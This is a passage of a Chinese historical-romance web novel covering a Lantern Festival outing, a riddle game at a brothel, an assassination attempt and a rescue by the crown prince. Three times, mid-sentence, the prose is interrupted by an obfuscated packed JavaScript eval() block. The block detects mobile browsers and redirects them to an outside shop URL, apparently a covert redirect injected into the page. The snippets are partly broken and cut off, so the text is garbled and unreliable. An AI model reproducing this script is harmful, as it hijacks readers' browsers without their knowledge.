恍惚间,寒星那双冰蓝色的眼眸仿佛透过了重重浓雾,冲她温柔一笑。 她一怔,不管不顾地就扑了过去,想要同他一起赴死。 赤浪肆虐,一阵阵难捱的酷炎炙热直冲面门,她的脸朝下,被迸出的火花映得通红。 忽地,她的身子被人拉住,重新落到了云端。 她不可置信地回头望去,正跌入一人的怀抱。 那人身穿一袭月白色长袍,面若冠玉,唇若涂脂,一双丹凤眼内勾外翘,脉脉注视着她。 她纳罕道,“太子殿下?” 魏晗烨并不作答,只用手臂轻轻环住她。 她伸手去推,“放开我,我要去找寒星。” 魏晗烨抱得更紧了些,声音中带了一丝哀怜,说得却是,“旌儿,留下来,不要走。” 她吃了一惊,思绪越扯越远,一片混沌中,似有撕裂的喊声冲出火光,“旌儿!活下去!” 她的脑海中不停地回荡着这两个字—— 旌儿—— 席容烟蓦地醒了过来,鲜艳的大红色映入眼帘,晃的她又是一阵失神,仿佛还在梦中。 她惺忪着眼,勉力望了过去,终于认出那片大红色是她睡前刚刚绣好的嫁衣。 她口干舌燥,咽了口吐沫,唤道,“桃夭,喝水。” 桃夭在外头应了一声“诶”,端着茶水走了进来。 “哎呀,姑娘怎么一头的汗?” 席容烟接过茶盏,啜了一口,焦躁感稍稍淡了些。 “做噩梦了。” 桃夭用帕子帮她细细擦拭着额角的汗,心疼道,“姑娘这些日子存着心事,总也睡不好,再这么下去,人都熬坏了,寒将军回来岂不是要心疼的。” 席容烟饮尽了茶,努力回忆着梦中的情景,可那画面仿佛被茶水冲淡了,化成虚虚实实的碎片,随风而逝,怎么串也串不起来。 她拢了拢散开的头发,“不要紧,以后睡前焚些沉香就是了。” 桃夭一面应着,一面麻利地服侍她起床,“今儿是上元节,二小姐、四小姐、五小姐都约着要去长街赏花灯呢,姑娘去吗?” “啊……”席容烟用帕子掩着,打了个哈欠,“一年到头,恐怕也就只有这一次热闹,自然要去看上一看。” 桃夭嘻嘻笑着,“我就知道姑娘爱热闹,一定是要去的,那我给姑娘梳个漂亮的发髻吧,保证姑娘往那一站,就能艳压群芳。” “不必,你去开了箱笼,找一套男人的衣服出来。” “啊,姑娘,你该不会是又想要男扮女装吧?元宵佳节闹花灯,这是旧俗,纵是老爷、夫人也不能说什么,姑娘不用偷偷摸摸的呀。” “我自有道理,你按照我说的做就是了。” 桃夭无法,只得开箱找了一件玄色毳裘,一双方头绒靴,一顶银鼠抹额。 “里头穿的衣裳实在是找不出来,姑娘若要扮作男子,只在外头披上一层毳裘,约莫着也就能遮住个七七八八了。” 席容烟点了点头,从桃夭手中接过毳裘,拢在身上,她一边在镜前踱着步,一边打量着自己在镜中的模样,又从枕下取出寒星送她的木簪,挽起一头乌黑长发。 装束既毕,席容烟得意地拍了拍手,一扬脸,笑道,“如此一来,安能辨我是雄雌呢?” 桃夭不解道,“我不明白,姑娘难得能名正言顺的出趟门,为什么还要女扮男装呢?” 席容烟微微叹气,“今晚看花灯的人男女混杂,我已经有了意中人,不想再引人注目。” 桃夭一下子反应过来,闺中女子一直被礼制约束,平素不得随意出门,唯有上元节这日是个例外,因此,元夜花灯也就成了男女幽会的好日子,流传了许多缠绵悱恻的爱情佳话。 席容烟的心中已经有了寒星,自然不肯再做装扮,免得徒惹是非。 “寒将军能得姑娘青眼,何其有幸。” “他救过我,不止一次的救过我,如果当年不是他带我入府,只怕现在,我已经沦落在烟花巷了,若说有幸,也该是我,而不是他。” “寒将军救过姑娘,姑娘也救过他呀,这么一来一去就算扯平了。” “他救我在先,我救他在后,合该是我欠他的,要用一辈子来还。” 桃夭睨着眼笑,“还就还吧,左右寒将军生的好看,姑娘嫁给他也不算吃亏。” 席容烟红了脸,“谁说我要嫁给他了,不许混说。” “我混说了吗,姑娘若是不嫁他,成天戴着那支不值钱的木簪子做什么,晚上睡觉还要放在枕头底下,生怕别人偷了去。还有除夕,姑娘选中的那枚象牙扳指又是要送给谁的,总不可能是姑娘自己留着拉弓用吧,姑娘你倒是说说看呀。” 席容烟笑着捶她,“你个促狭小蹄子,你再敢乱说,我就回了父亲母亲,把你撵出去!” 桃夭笑得岔了气,一面躲一面说,“姑娘撵了我,纱窗外可就没有给张生报信的红娘啦。” 席容烟羞得不行,甩手扔了毳裘,就跑过来捉她,一径将她逼到了拔步床的围廊内。 席容烟挽了挽袖子,半蹲下身子,伸手就去挠桃夭的痒痒,“笑呀,我让你笑。” 桃夭捂着笑疼了的肚子,伏在廊上告饶,“好姑娘,饶了我吧,我再也不敢了。” 两人正闹得不可开交,忽听敛秋在外头报,“四小姐来了。” 桃夭忙止住了笑,摸着自己凌乱的头发,跺脚道,“都怨姑娘,把我害成了这副鬼样子,我还怎么见人呀。” 席容烟正了正袖子,掩嘴笑道,“谁让你说这些浑话来编排我了,活该,你先回房梳头去吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502763|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿再过来,留四儿和敛秋在这儿伺候就是了。” 桃夭还要说时,却见四儿和敛秋已经一边一个挑起帘子,席容珍从外笑盈盈走了进来,“姐姐和桃夭聊什么呢,说得这般高兴,我还没进堂屋就听见你们的笑闹声了。” 席容烟笑着上去迎她,“不过闲聊罢了,四妹妹快坐,敛秋,上茶。” 桃夭低着头出去了,四儿给席容珍褪下莲蓬衣,拿到当地放着的青瓷莲花熏炉上头烘着。 敛秋捧着两盏花茶过来,随即恭敬退到一边,垂手侍立。 席容珍接过花茶,品了一口,赞道,“上次来姐姐这里,我心里就惦记着桃夭晒的花茶,今日喝了,果然不同凡响,姐姐真是好心思呀,可否教授妹妹一二。” 席容烟也饮了一口,放下茶盏,笑道,“什么难事儿,不过是采、蒸、捣、焙、穿、封这六步罢了,也值得你正经去学。” 席容珍咂舌,“这还不难,也就你有这个闲情逸致。” 席容烟便笑,“谁让我是个闲人呢。” 席容烟一面笑,一面打量着她,只见她里面穿的是一件秋香色琵琶襟妆花缎子窄裉袄,头上插了一支斗纹银钗,耳畔点着两颗小小的银珠。 席容烟想了想,笑道,“你今日穿的袄儿是秋香色的,若用银珥银钗,虽然雅致,到底太素了些。你来的巧,我前儿得了一对金镶珠丁香儿,还有一支金螭虎钗,配你的袄儿正好。” 席容珍忙道,“这如何使得,吃姐姐的茶便罢了,还要拿姐姐的东西。” “你我姐妹,客气什么,况且我平素少用金饰,搁着也是落灰,白白辜负了这些好物件,等下我让桃夭开了妆奁拿给你,你若是再要推辞,便是与我生分了。” 席容烟言辞恳切,席容烟倒不好再拒绝,便道,“那妹妹就收下了,只是每次都让姐姐如此破费,妹妹心里着实不安,不知该如何谢谢姐姐才好。” 席容烟笑道,“你上次叫福禄送了几支美人梅过来,我喜欢的不得了,你若真要谢我,有空再为我折几支宸园的梅花回来便好。” “这个容易,姐姐若是喜欢,妹妹再折了送来就是了。” “原该如此,才是我们姊妹之间的情谊。” 席容珍喝净了茶,轻轻搁在小几上,“听说长街今天晚上有各式各样的歌舞百戏,什么蹴鞠呀,傀儡呀,吞刀吐火,舞龙舞狮,简直是凡所应有,无所不有,对了,今年还有一帮从西域过来的胡姬跳胡旋舞呢。” “弦鼓一声双袖举,回雪飘飖转蓬舞,想来定是极美的,说起来,我还从未亲眼见过胡旋女子跳舞呢,今夜倒是可以一开眼界了。”[1] “是呀,不过她们就算再美,终究是蛮夷之辈,比不得我们大魏女子。我早上去荣华堂给母亲请安的时候,正好看见二姐姐从明玉苑的月亮门出来,她身上披了一领黄澄澄金灿灿的斗篷,脚下还蹬着一双鹿皮子靴,太阳一照,她整个人在日头底下明光烁亮的,好看极了。” “二姐姐穿的应该是吉光裘,传说是用西域那边的天马毛发织成,入水不腐,入火不焦,西域可汗过年的时候送了皇上一件,没想到咱们府里也有一件。” “二姐姐真是好福气,能托生在母亲肚子里,不像我——”她说到这里,忽想起席容烟无父无母的事情来,连忙止住话头,打岔道,“姐姐晚上预备穿什么衣裳出门呀?” 席容烟并不在意,抬手指了指搭在玫瑰椅上的玄色毳裘,笑道,“就是那个了。” 席容珍愣了愣,随即打量起她束在头顶的木簪,调侃道,“姐姐,你打扮得如此俊俏,莫不是想要女扮男装?到时候我们一道上街赏灯,只怕别人要将你错认成京城里哪户人家的贵公子了。若是碰上了那起子孟浪之徒,我便只管挽住你的手,看谁还敢找我搭讪。” 席容烟听她说得有趣,也不觉同她笑了起来。 桃夭从外捧了一碟雪花糕进来,二人边吃边聊,不一会儿已是日落时分。 席容烟留席容珍用了晚膳,饭毕,席容烟换上了一身男装,席容珍也重新打扮了一番,二人在府中闲逛了一阵子,约莫着时辰差不多了,便一同向宰相府的大门走去。 56. 上元长街客 门外,小厮早已备好了几辆四人抬的轿撵,席容珵抢先一步,自己坐了一辆停在最前面的宝珠华盖轿,席容烟坐了一辆彩缨流苏轿,席容珍本想去后面和席容玲共坐一辆香木软轿,恰好席容烟掀开轿帘,邀她同乘一轿,席容珍便也上了彩缨流苏轿。 席容珵的丫鬟红珠、绿环,并上席容烟的丫鬟桃夭、四儿共乘一辆,席容珍的丫鬟福禄、寿喜,并上席容玲的丫鬟彩儿、虹儿另乘一辆。 柳莺儿本来想亲自出来瞧一瞧这场热闹的,奈何席容夫人不许她出府,席容炎也顾忌着席容夫人的话,没有应允她,柳莺儿低声下气的求了好久,夜里又使出了千百般的床上手段,哄得席容炎心花怒放,这才答应让她的丫鬟香兰出府看看热闹,回去再将新鲜事儿讲给她听。 于是,柳莺儿的丫鬟香兰便和三四个各房里跟着的老嬷嬷挤在一处,又坐了一顶轿子。 香兰虽然是个伺候姨娘的丫鬟,却在软香阁养出了一身的小姐脾气,一会儿嫌这个嬷嬷压着她的衣角了,一会儿又嫌那个嬷嬷说话的吐沫星子喷在自己手上了,最后闹着下了轿子,跟着外头的小厮们厮混在一起。 香兰本就长得标致,又和柳莺儿学了一身的青楼做派,不一会儿就引了过路的男子近前围观。 香兰浑不在意旁人的指指点点,从自己的荷包中取出半块槟榔,递到男子嘴边,男子笑着张口含了,牵过她的手指,同她低声调笑起来。 二人交颈相拥,男子唇角含笑,附在她的耳边,“席容烟在哪儿?” 女子挂在他的身上,亦作媚态,“彩缨流苏轿。” 二人说话间,皆是低声笑语,因此旁边的人就算瞧见了,也以为是什么缠绵情话,哪能想到,竟是两个细作暗中相商。 席容珍看了半日,啐了一口,“啪”的一声撂下纱窗内的帘子,骂道,“这么一个破烂贱货也配出门?真是丢尽了我们席容家的脸面!” 席容烟知道柳姨娘得宠,宰相府的下人们便捧高踩底,欺负周姨娘老实,克扣周姨娘的月例银子拿去孝敬柳姨娘。 因此,席容珍这句话听起来像是在骂香兰,实则却是指桑骂槐,暗里骂的是香兰的主子柳莺儿。 席容烟虽和席容珍交好,却并不想掺和到宰相府姨娘们的明争暗斗中,因此并不作声,只做壁上观,还是前头车里的席容珵听见外面的声音不对劲,喝令小厮扯开了那个男子,又重重申斥了香兰,香兰这才消停下来,规规矩矩跟着人流走在后头。 六辆轿撵并上随行的几十个小厮,乌泱泱占了半条街。一行人就这么浩浩荡荡到了长街,几个丫鬟先下了轿子,赶着过来服侍自己主子。 席容烟隔着纱窗,微微仰头,只见夜下瓦顶暗流涌动,黑影憧憧,料着是府中的暗卫随行护卫,心下稍稍安心,扶着桃夭的手下了轿子。 长街上,灯山璀璨,珠璧辉煌,街道两侧各设了十丈长的高竿,竿上悬着各色的灯笼、灯球、灯饰、灯烛、灯牌、灯谜,远远望去,整个街市恍若一条吞金吐彩的玉龙,蜿蜒而去,铺开了百余丈长的锦绣繁华。 席容玲刚下轿辇,就瞧见街边的小贩们正吆喝叫卖着金橘、橄榄、荔枝、龙眼等吃食,她兴致冲冲跑了过去,央着自己的奶姆各样拣了一些买下。 红珠和绿环两人,一左一右扶着席容珵,她们走走停停,最后在一处卖节日饰物的摊子前停住了脚步。 席容珵一手捻起一条雪柳,一手挑了一样蛾儿,往头上比划着,“好看吗?” 红珠忙笑道,“小姐生得天仙一般的容貌,便是这金线捻就的雪柳,绫绮裁剪的蛾儿也都给比下去了,依奴婢看,倒不是这雪柳蛾儿为小姐增了颜色,反倒是小姐的花容月貌为这雪柳蛾儿添了光彩呢。” 席容珵嗔道,“你这个贫嘴的小蹄子,不过问你两句,便编出这么一大箩筐的话来哄我。” 一旁的摊主是极通晓人情世故的,他一眼就看出席容珵气质不凡,出身富贵,她穿戴的金银饰物足够普通老百姓省吃俭用过一辈子了,就连她身侧跟着的丫鬟也是一身的绫罗绸缎,绝非等闲人家,因此忙陪笑道,“这位姑娘说的倒是大实话,小人今夜在长街上见了那么多绣户嫡女,竟没有一人比得上小姐姿容。小人只觉得惭愧,整个摊子都没有堪配小姐的头饰,只有这么几个俗物,真是让小姐见笑了。” 席容珵平素最喜被人奉承,此刻听了这番话,面上更是得意,随手将雪柳往发间一插,吩咐绿环,“这个摊子上的东西,本小姐全都要了,多叫几个小厮过来搬走。” 摊主又惊又喜,磕磕巴巴地说,“这——” 红珠轻蔑地从袖中掏出一锭金子,掷了过去,“这便是买你的身家性命也是绰绰有余的。” 摊主双手捧着接了金锭,放到嘴里咬了一下,看见上头的牙印,几乎笑出了声,舔嘴道,“小姐出手也太阔绰了,这么多钱,小人怎么找的开呀。” 席容珵早已扶着红珠的手走远了,只留下绿环指挥着小厮打包摊子上的东西,绿环听了这话,一摆手,“不用找了,这是我家小姐赏给你的。” 摊主闻言,千恩万谢地冲着席容珵的方向磕了头,又欢欢喜喜地送绿环他们走出好远。 席容烟和席容珍沿着长街悠然而行,一会儿赏赏高竿上挂着的花灯,一会儿随着人流,走到鳌山跟前凑趣,鳌山四周早已围了许多的小孩子,几万盏的灯垒作山形海貌,上头各色彩灯闪烁,奇花燃放,耀目的光辉映衬得长街宛如仙境。 人群中,不知是哪个小孩儿喊了一声,“红翠馆的姑娘们出来放灯谜啦,大家快来看呀。” 众人闻说红翠馆的姑娘们出来了,一时都争先恐后地涌了过去,想要一睹芳容,席容烟和席容珍本不想去,奈何被人流夹着,挣脱不开,也只得跟着过去了。 红翠馆比往日更显灯火璀璨,廊前悬着一层层的灯牌,香木制成的灯牌上雕镂着诗词,外头还蒙了一层绢纱,风过,流光溢彩,纱起香飘,隐约可见绢纱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502764|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面婀娜窈窕的倩影浮动,围观的人起哄,“妈妈快请馆里的姐姐们出来呀!” 红翠馆的杨妈妈迎上前来,笑道,“诸位客官莫急,先听老身讲一讲今日的玩法。诸位客官都看见了,这些灯牌正面镌着诗词,背面则镌着一句灯迷,客官们若是相中了哪块灯牌,便可取下,如若能猜出灯牌背面的灯谜,那么——” 一个在缀锦楼里吃醉了酒的男子凑上前来,扑在杨妈妈身下,拽着她的裙角,口角流涎,“那么如何呀——” 杨妈妈用扇子挡了他一身的酒气,才要动怒,待瞧见他的模样,又笑了起来,“哎呀,小李公子怎么吃了这么多的酒。”她一面搀他起来,一面喝命旁边的人,“你们都是死的吗,还不快把小李公子扶进去歇着。” 李莲蓉醉得站都站不稳了,却不知哪来的力气,一把推开了来扶他的人,口中胡乱嚷着,“什么大李小李,本公子今儿就是天大的理儿!我才不进去呢,我要在外头猜灯谜,我要让月娘唱曲儿给我听!” 杨妈妈无法,只得命人搬了椅子出来,又在椅子上铺了一层厚厚的软垫,请李莲蓉坐了,这才又重新对众人笑道,“老身来接着说,这些灯牌各自代表了红翠馆不同的姑娘,客官们若是猜中了哪块灯牌背面的谜底,便可不花一文,吩咐这位姑娘,或是唱曲儿,或是鼓琴,或是陪酒,或是献舞,不拘什么,只要诸位客官尽兴就好。” 人群中有人高声喊道,“怎样才能知道灯牌代表的是哪位姑娘呢?比如我想让月娘陪我饮酒,我该选择哪块灯牌呢?” 杨妈妈道,“这位客官问得好,老身正要说这个事儿,老身的女儿们身上也有一块灯牌,正面镌的诗词是同这些灯牌一模一样的,背面镌的则是灯谜的谜底。凡事都讲求一个缘法,今夜花好月圆,诸位客官选中了哪块灯牌,哪位姑娘,都是上天的意思,非人力所能勉强。” 众人听了,都赞这个玩法又新鲜又有趣,仰头看着随风而动的灯牌,一个个摩拳擦掌,跃跃欲试。 杨妈妈扬了扬扇子,止住了几个想要上前摘灯牌的人,“欸欸欸,急什么,我还没说完呢。丑话说在前头,诸位客官若是猜对了呢,有赏,猜错了呢,自然也是要罚的。如果有人摘了灯牌,却又猜不出谜底来,便要罚他三杯酒,一杯酒,十两银,酒钱自理。” 一阵安静之后,底下有人嘟囔起来,“十两银子?杨妈妈,什么酒这么贵呀?” 他的话还没说完,早有不差钱的公子哥儿将他挤了下去,“这可是红翠馆的仙酿,十两银子还嫌贵,没钱就躲远些,别挡了咱们的道儿。” 被挤走的人面色讪讪,却也没有要离开的意思,在人群外伸长了脖子,踮着脚,仍想要瞧一瞧里头的热闹。 越来越多的人聚拢过来,整条长街立时被挤得水泄不通。 红翠馆坐落在长街东侧,对面就是缀锦楼,缀锦楼里正在宴饮的贵公子们听见了这边的动静,也都三五成群地凑了过来,围着廊前的灯牌议论纷纷。 57. 红翠美人面 杨妈妈笑着迎了上去,“哎呦,这不是裴公子吗,可真是稀客呀。” 裴延敬指着一块灯牌念道,“帐底吹笙香吐麝,更无一点尘随马。”[1] 侍女取了灯牌下来,念道,“六出花飞灵霄上,打一个字。” 裴延敬道,“这个谜底倒是合了节气,是雪不是。” 杨妈妈笑道,“恭喜裴公子拔得头筹了,外头天寒地冻的,公子请随灵娘进去吃一杯酒,暖暖身子罢。” 方承鹤见裴延敬得了好彩头,不甘人后,于是也选了一块灯牌念道,“更阑烛影花阴下,少年人,往往奇遇。”[2] 侍女道,“长安比目,打一句七言诗。” 方承鹤尚在思索,宁凯风便已抢先答道,“鱼为比目鸟比翼。”[3] 裴延敬一只脚尚未踏进红翠馆,闻声回头笑道,“你也想想‘长安’两字,再说不迟。” 方承鹤道,“长安,莫非是‘得成比目何辞死,愿作鸳鸯不羡仙’之句?”[4] 杨妈妈笑道,“是了,方公子今夜果然是有一番奇遇的,月娘已经在阁楼上等着公子了,公子上去便是。” 众人闻说“月娘”二字,眼中俱是艳羡非常,要知道,月娘可是红翠馆中的头牌,弹得一手好月琴,又是个极有脾气的主儿,从来不肯轻易见人,曾有客商远道而来,只为听她弹一支曲子,便砸下千金之数,可月娘却不以为意,连面都不曾露上一露,只在屏风后头弹了一曲。饶是如此,那名客商仍是念念不忘,过了几年又来豪掷千金,依旧只是为了再听一曲。 宁凯风酸道,“仰山真是幸运呀,文敏念叨了那么久的月娘,就这么被仰山占了先机。” 方承鹤也有些吃惊,拱手道,“承让承让。” 杨妈妈笑推他道,“方公子快去吧,月娘是个有脾气的,若是让她等急了,她便不依了。” 李莲蓉已经在椅子上睡过去了,此刻闻说“月娘”二字,迷迷糊糊的睁开眼睛,乱嚷道,“月娘?月娘在哪?” 杨妈妈怕他生事,忙哄他道,“小李公子不是要猜灯谜的吗,怎么睡过去了?” 李莲蓉挣扎着起身,讨了杯水喝,“对,猜灯谜,我要猜灯谜。”他胡乱看了一遍悬着的灯牌,随便指了一个道,“我要那个,那个什么雪柳的。” 侍女依言取了灯牌,道,“灯牌正面是‘铺翠冠儿,捻金雪柳,簇带争济楚’,背面是‘红日黑燕织衣来,打一地名’。”[5] 李莲蓉肚子里本就没有多少墨水,现下又喝了许多酒,只管乱猜一气,一会儿说“赤壁”,一会儿又说“骊山”,席容弥德怕他出事,劝他不要再猜了,他却不肯,仍是瘫在椅子里头乱叫乱嚷,到底被罚了十多杯酒,彻底昏过去了才算完事。 偏生这时候席容珵看见席容弥德穿的大红猩猩褂,也跟过来了,她看见从椅背滑到地上的李莲蓉,不禁矜了矜鼻子,以袖掩面道,“二哥,这人是谁呀?怎么一身的酒气?” 席容弥德有些尴尬,“这是吏部尚书李茂之子李莲蓉,喝多了酒,所以才成了这副模样。” 席容珵先是淡淡“哦”了一声,忽然反应了过来,指着躺在地上的李莲蓉道,“什么?他,他就是李尚书的小儿子,和我有了婚约的那位?” 席容弥德神情更加尴尬,却也只能点了点头。 席容珵的脸色由红转青,又由青转白,她咬了半天的牙,勉强挤出一个“好”字。 李莲蓉醉得一步路都走不成了,杨妈妈便命人将他扶回椅上,又叫了两个龟奴抬着椅子,将他送入了红翠馆内。 宁凯风瞧着李莲蓉的醉样,笑骂了一句,挽了挽袖子,正要上前摘灯牌,瞥到席容弥德还站在一旁,想了想,谦让道,“明台,你也来玩上一玩。” 杨妈妈看着席容弥德,笑了笑,“小李公子到底没有猜出来这个灯牌的谜底,席容公子是要换一个猜呢,还是接着小李公子的灯谜猜呢?” 席容珵沉着脸说道,“我们还猜这个灯谜。” 杨妈妈上下打量了她几眼,笑道,“好呀。” 席容弥德原本相中了一块灯牌上的“清漏移,飞盖归来,从舞休歌罢”,眼下见席容珵如此,只能硬着头皮,继续费力思索着“红日黑燕织衣来”这句谜面。[6] 席容烟在一旁猜到谜底应该是“乌衣巷”,却又不好自己上前说出来,转头看见了跟在席容珵后面的席容玲,于是悄悄将她拉到一旁,同她耳语一番,席容玲听完点点头,跑过去小声告诉了席容弥德。 席容弥德听了大喜,忙道,“可不是夕阳斜,堂前燕,织出来个乌衣巷!” 杨妈妈笑道,“席容公子说得不错,谜底正是乌衣巷。”说着,她有意无意看了席容烟一眼,“这位公子面生得很,不知府上大名?” 席容烟女扮男装,本就是为了躲风头的,不曾想反倒引人注目了,忙摆手道,“不过是小门小户罢了,不值一提。” 杨妈妈道,“公子这话就说差了,元宵灯会本就是众乐乐的,不拘什么门第出身,公子今儿既然来了,怎么着也要猜个灯谜再走,才算不辜负了这火树银花呀。” 席容烟只得也指了一个灯牌,“众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。”[7] 侍女摘了灯牌,念道,“火因,打一个字。” 席容烟心里原本还有点打鼓,听见谜面,便指着天上的烟花笑道,“这样现成的东西,真真是便宜我了。” 杨妈妈见她猜对了谜底,便令芸娘出来扶她,席容烟哪能跟着芸娘进去,严词拒绝了。 正巧那边的慧娘正拉席容弥德进去,弥德平素自是愿意的,只是眼下家中姊妹都在,他倒是有些不好意思起来,便道,“好姑娘,你先自己去玩一会儿罢,我在这儿看会儿热闹再走。” 宁凯风见他们二人都推辞不去,急得跺脚,“这么好的姑娘,你们不要,我要!” 杨妈妈闻言笑了起来,“宁小侯爷也想猜个灯谜玩玩?” 宁凯风抬手指着一块灯牌,“就是它了,辇下风光,山中岁月,海上心情!”[8] 侍女翻过牌子,念道,“关公走单骑,打一俗语。” 宁凯风试探着问,“败走麦城?” 侍女摇了摇头,宁凯风便饮了三杯酒,杨妈妈在旁提示,“侯爷别忘了,谜底是句俗语。” 宁凯风挠着脑袋想了半日,忽然一拍大腿,神情激动,“我猜出来了!谜底是塞翁失马!” 杨妈妈笑道,“是了,宁小侯爷往里边儿请吧。” 宁凯风打了个酒嗝,欢欢喜喜的揽着娇娘进去了。 北风吹开了阁楼的两扇窗子,空中随即飘来了灵动悦耳的琴声,席容弥德细细听了一阵,跟着低声哼唱起来,“百姓们闺房乐如花美眷,帝王家深宫怨似水流年,古人有云,乐者,药也,我从前只是不信,如今听了月娘的曲子,方知古人所言不虚呀。”[9] 杨妈妈转了转眼珠,摇着扇子上前笑道,“月娘她今夜怕是只能陪方公子一人了,席容公子若是还有兴致听曲儿,我叫箫娘和筝娘过来作陪如何,她们二人合奏的《春江花月夜》也是我们馆中一绝呢。” 席容弥德才要答言,忽见一个喝的醉醺醺的汉子冲着席容珍扑了过去,他连忙抽身挡在席容珍跟前,拽了那人的手腕,喝道,“你做什么?” 汉子扫了弥德一眼,脸上露出歉色,拉着他往廊下走了几步,瓮声瓮气地说,“哎呀,真是不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502765|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思,我这喝多了酒,看不清东西了,一不小心就没站稳,公子,麻烦您帮我瞅瞅,那块灯牌上头写的是什么字呀?” 席容弥德甩开了他的手,望着廊前悬着的一层层灯牌,不耐烦道,“哪一块?” 汉子抬手指了指右上角的一块灯牌,哈着腰,一副低眉顺眼的样子,“有劳公子了。” 席容弥德仰头吟道,“火树银花合,星桥——”[10] 弥德还没吟完,那个汉子不知从哪里抽出了一把短刀,以迅雷不及掩耳之势刺向席容珍,席容烟此时就站在席容珍身侧,把这一幕看得清清楚楚,于是大呼一声,“有刺客!” 楼顶的十数名宰相府暗卫闻声立下,然而终究迟了些,眼看那把短刀就要刺进席容珍的心脏,席容烟心急如焚,也顾不得许多了,扑上去从背后撞了汉子一下,汉子被她撞的偏了方向,刀尖从席容珍的左肩擦过,莲蓬衣上的丝帛裂开,秋香色的袄子上立时刮出一道血痕。 席容烟这一撞用了全身的力气,自己也被这股力道带了出去,整个人跌在席容珍身前。 席容珍顾不上自己肩上的伤,连忙去扶席容烟,“姐姐,你没事吧。” 席容烟忍着右手手腕的痛楚,摇了摇头。 汉子看着跌倒在脚下的席容烟,狠狠骂了一句,“多管闲事”,随即拔刀便刺,席容烟看着刀尖越来越近,几乎扎进自己的瞳孔,慌乱中不由得闭上了眼睛,忽听得“唰”的一声,剑茫划破寒风,剑与刀凌空缠斗在一起,利刃相击,声彻云天。 席容烟仓促的睁开眼,只见来人身披一袭银白色鹤氅,从天而降,他执剑护在她的身前,泼墨的长发随风而动,倾洒了夜色的岑寂,月光的柔和。 生死之际,席容烟的脑海中滑过了许多一闪而逝的念头,她曾想过,救她的人是寒星,又或是宰相府的暗卫,却唯独没有想到会是他——太子魏晗烨。 不知为何,她突然间想起了零零散散的梦中片段,她凝视着他俊朗的背影,心中第一次有了一种异样的情愫。 宰相府的暗卫已将刺客团团围住,刺客同他们过了两招,便欲抽身离开,暗卫担心这是他的调虎离山之计,也不敢追,魏晗烨给袁青使了一个眼色,袁青会意,立即飞身追了出去。 魏晗烨收剑入鞘,笑着朝她伸出了一只手,“怎么,吓傻了?” 席容烟回过神来,借着他的力道站了起来,“多谢殿下援手。” 杨妈妈本来躲在两个龟奴身后,现下见到魏晗烨,就好像见到了神天菩萨一般,一把推开两人,满脸谄媚的迎上前笑道,“欸呀呀,太子殿下贵脚临贱地,也有兴致出来逛上一逛?我说红翠馆今儿的灯花怎么爆了又爆,原来是应到了这上头,真真是高兴的我不知道说什么才好了!外头人多,吵得很,太子殿下快请进去坐坐,老身这就让她们给殿下烫一壶好酒来。” 魏晗烨笑了笑,“不必了,孤今夜若是进了红翠馆的门,明日传了出去,指不定要闹出多少事来。孤来得巧,正好赶上了这场热闹,也在外头猜几个灯谜玩玩就是了。” 杨妈妈思忖一番,笑道,“那敢情好,只是殿下赢了也不进去玩,输了还要给钱,倒让殿下吃亏了。不如这样,若是殿下赢了,便可随意命在场之人做一件事,若是输了,便还是饮下三杯酒,不过这酒钱啊,可不敢让殿下破费,权当是老身请殿下的了。” 席容弥德听了这话,一挥袖子,半是认真半是玩笑的说,“随意命人?杨妈妈也太护着他了,若是他让我们去死,难道也由着他不成?” 杨妈妈仍是笑得满面春风,“这样喜庆团圆的日子,席容公子说得这是哪里的话,不过是些力所能及的小事罢了,老身想,太子殿下也不会故意难为人的吧。” 58. 合亟酒一杯 魏晗烨本不愿应承,如此一来,倒像是占了红翠馆的便宜似的,可他闻得“随意命人”,心中不禁一动,“自然不会,就按杨妈妈说的办罢,只是不知还剩下什么好的灯谜留给孤猜。” 他飞快扫了一遍廊前悬着的灯牌,摘了一块笑道,“这一句诗倒是应景,孤还记得底下一句‘别有千金笑,来映九枝前’,写得更妙。”他说这话时,特意瞥了一眼席容烟的神色,席容烟专心听着诗句,神色如常,混若不觉。[1] 众人争先看时,只见灯牌正面镌的是卢升之《十五夜观灯》中的一句诗,“接汉疑星落,依楼似月悬”,背面镌的也是一句诗,“一带曲水泛龙舟,两岸行人笑西流,打一风俗”,便都笑道,“诗是好诗,只是太难猜了些。”[1] 魏晗烨凝神想了半日,仍然没有什么头绪。 席容弥德出言讥讽,“世人都说太子殿下才高八斗,学富五车,不想也有江郎才尽之时。既猜不出,便罢了吧,不过吃上几杯酒的事,何必在这里苦熬着呢。” 